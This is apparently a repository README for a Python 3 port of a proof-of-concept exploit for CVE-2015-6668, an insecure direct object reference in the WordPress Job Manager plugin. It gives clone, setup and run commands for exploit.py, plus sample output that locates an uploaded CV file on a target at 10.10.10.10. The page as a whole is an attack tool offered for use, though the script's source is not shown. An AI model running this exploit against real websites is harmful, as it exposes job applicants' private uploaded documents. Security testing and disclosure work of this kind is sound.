CVE-2015-6668

Evangelos Mourikis POC for CVE-2015-6668 converted for Python 3

Exploits IDOR vulnerability in Job Manager plugin for Wordpress.

Tested on Python 3.11.9

References

NIST CVE WPScan Vuln DB

Setup and Usage

Clone the repo, setup virtual environment (if desired), install requests, and run the script with Python 3.

Clone

git clone https://github.com/jimdiroffii/CVE-2015-6668.git
cd CVE-2015-6668

Python Virtual Environment (optional)

python3 -m venv .venv

• Bash

source .venv/bin/activate

• Powershell

.\.venv\Scripts\activate

Install requests

python3 -m pip install requests

Run exploit.py

python3 ./exploit.py

Output

$ python3 ./exploit.py
CVE-2015-6668
Title: CV filename disclosure on Job-Manager WP Plugin
Author: Evangelos Mourikis
Blog: https://vagmour.eu
Plugin URL: http://www.wp-jobmanager.com
Versions: <=0.7.25

Enter a vulnerable website: http://10.10.10.10
Enter a file name: HackerAccessGranted
[+] URL of CV found! http://10.10.10.10/wp-content/uploads/2017/04/HackerAccessGranted.jpg